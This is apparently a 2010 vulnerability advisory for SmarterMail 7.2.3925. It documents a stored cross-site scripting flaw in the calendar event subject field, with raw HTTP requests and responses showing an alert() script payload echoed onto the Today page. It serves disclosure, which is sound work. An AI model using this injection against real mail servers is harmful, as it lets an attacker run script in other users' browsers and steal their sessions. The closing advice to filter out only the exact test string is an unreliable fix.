SmarterMail 7.x (7.2.3925) - Persistent Cross-Site Scripting

Source URL

http://cloudscan.blogspot.com/2010/10/vendor-smartertoolscom-smartermail-7x.html

########################################################################

# Vendor: smartertools.com SmarterMail 7.x (7.2.3925)

# Date: 2010-10-01

# Author : David Hoyt (sqlhacker) – Hoyt LLC

# Contact : h02332@gmail.com

# Home : http://cloudscan.me

# Dork : insite: SmarterMail Enterprise 7.1

# Bug : Cross Site Scripting - STORED

# Tested on : SmarterMail 7.x (7.2.3925) // Windows 2008 /64/R2

# Uncoordinated Disclosure

########################################################################

ABSTRACT

--------------------------

It is important for application developers to penetration test

their products prior to release in order to find potential vulnerabilities

and correct them before fraudsters exploit them.

DISCLOSURE PURPOSE

--------------------------

Applications for wide-scale deployment must be delivered with an exploit

surface that is manageable.

Developers failing to properly screen applications prior to release are at

risk of uncoordinated disclosure.

SECURITY COMMENTS

--------------------------

Server Application developers should explicitly be detailing the exploit

surface

modeling performed on an application as part of the software development

lifecycle

prior to and as part of a candidate release.

System Admins need to take a trust-no-one approach when installing Server

and Client Applications for wide-scale deployment.

ENGAGEMENT TOOLS

--------------------------

I am using Immunity Debugger, Burp Suite Pro 1.3.08, Netsparker, Metasploit,

NeXpose, XSS_Rays,

FuzzDB as a baseline set of engagement tools that are being used to perform

this analysis.

DISCUSSION AND ANALYSIS

--------------------------

SmarterMail 7.x (7.2.3925) was released on 10/1/2010 and was to have

addressed a number of

issues identified in CVE's

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3425 and

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3486.

This advisory addresses Cross Site Scripting vulnerabilities found in

SmarterMail 7.x (7.2.3925).

Additional advisories will be released as we develop a bullet proof audit

trail.

Further advisories will focus on security by obscurity in SmarterMail.

My prior work focused on the Cross Site Scripting (Reflected) found in

various URL/Param combos.

The most recent release added in the special feature of Cross Site

Scripting, Stored.

This is an unwelcome additional to the exploit surface map of SmarterMail

7.x (7.2.3925).

AUDIT TRAIL

--------------------------

Cross-site scripting (stored)

Summary

Severity:   High

Confidence:   Certain

Host:   http://vulnerable.smartermail.site:9998

Path:   /Main/frmToday.aspx

Issue detail

The value of the ctl00%24MPH%24SubjectBox_SettingText request parameter

submitted to the URL /Main/Calendar/frmEvent.aspx is copied into the HTML

document as plain text between tags at the URL /Main/frmToday.aspx. The

payload f5d23<script>alert(1)</script>eb582083b9d was submitted in the

ctl00%24MPH%24SubjectBox_SettingText parameter. This input was returned

unmodified in a subsequent request for the URL /Main/frmToday.aspx.

This proof-of-concept attack demonstrates that it is possible to inject

arbitrary JavaScript into the application's response.

Issue background

Stored cross-site scripting vulnerabilities arise when data which originated

from any tainted source is copied into the application's responses in an

unsafe way. An attacker can use the vulnerability to inject malicious

JavaScript code into the application, which will execute within the browser

of any user who views the relevant application content.

The attacker-supplied code can perform a wide variety of actions, such as

stealing victims' session tokens or login credentials, performing arbitrary

actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request

parameters or headers are processed and stored by the application, and any

out-of-band channel whereby data can be introduced into the application's

processing space (for example, email messages sent over SMTP which are

ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected

vulnerabilities because they do not require a separate delivery mechanism in

order to reach targe users, and they can potentially be exploited to create

web application worms which spread exponentially amongst application users.

Note that automated detection of stored cross-site scripting vulnerabilities

cannot reliably determine whether attacks that are persisted within the

application can be accessed by any other user, only by authenticated users,

or only by the attacker themselves. You should review the functionality in

which the vulnerability appears to determine whether the application's

behaviour can feasibly be used to compromise other application users.

Issue remediation

In most situations where user-controllable data is copied into application

responses, cross-site scripting attacks can be prevented using two layers of

defences:

Input should be validated as strictly as possible on arrival, given the kind

of content which it is expected to contain. For example, personal names

should consist of alphabetical and a small range of typographical

characters, and be relatively short; a year of birth should consist of

exactly four numerals; email addresses should match a well-defined regular

expression. Input which fails the validation should be rejected, not

sanitised.

User input should be HTML-encoded at any point where it is copied into

application responses. All HTML metacharacters, including < > " ' and =,

should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author

content using a restricted subset of HTML tags and attributes (for example,

blog comments which allow limited formatting and linking), it is necessary

to parse the supplied HTML to validate that it does not use any dangerous

syntax; this is a non-trivial task.

Request 1

POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer:

http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx?popup=true

#

x-microsoftajax: Delta=true

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Cache-Control: no-cache

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64;

Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: vulnerable.smartermail.site:9998

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: SelectedLanguage=;

settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default;

STTTState=;

STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"};

ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55

Content-Length: 27088

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_Tab1&ctl00%24MPH%24VisiblePage=ctl00_MPH_OptionsTab&ctl00%24MPH%24SubjectBox_SettingText=f5d23<\\//script>alert(1)<\\/script>eb582083b9d&ctl00%24MPH%24InviteBox=&ctl00_MPH_InviteBox_ClientState=%7B%22logEntries%22%3A%5B%5D%2C%22value%22%3A%22%22%2C%22text%22%3A%22%22%2C%22enabled%22%3Atrue%7D&ctl00%24MPH%24LocationBox_SettingText=anyt

...[SNIP]...



Request 2

GET /Main/frmToday.aspx HTTP/1.1

Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg,

application/x-ms-application, application/x-ms-xbap,

application/vnd.ms-xpsdocument, application/xaml+xml, */*

Referer: http://vulnerable.smartermail.site:9998/Default.aspx

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64;

Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Accept-Encoding: gzip, deflate

Host: vulnerable.smartermail.site:9998

Proxy-Connection: Keep-Alive

Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=;

settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default



Response 2

HTTP/2.0 200 OK

Server: SmarterTools/2.0.3925.24451

Date: Sat, 02 Oct 2010 00:29:05 GMT

X-AspNet-Version: 2.0.50727

X-Compressed-By: HttpCompress

Cache-Control: private

Content-Type: text/html; charset=utf-8

Connection: Close

Content-Length: 1294009



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "

http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head id="ctl00_Head1"><title>

   My Today Page - hoytllc.

...[SNIP]...

<a href="#"

onclick="OpenNewMessage('Calendar/frmEvent.aspx?edit=b0f7be7eec69411b82be79429c806520&returnTo=frmToday',

600,400);">f5d23<\\script>alert(1)<\\/script>eb582083b9d</a<file://script%3ealert(1)%3c///script%3Eeb582083b9d%3C/a>

>

...[SNIP]...



REMEDIATION SOLUTION

------------------------

Smartertools should engage qualified resources for screening their products

for vulnerabilities.

Releasing updates without proper security screening puts a target bullseye

on the application

and causes customers to walk away and ask for refunds (witness my own

actions).

Some of the most basic programming errors are still present in the current

release of SmarterMail 7.x (7.2.3925)

I'm pusing an update to my clients now on this Stored XSS issue..

Simply filter out

f5d23<\\script>alert(1)<\\/script>eb582083b9d<file://script%3ealert(1)%3c///script%3Eeb582083b9d>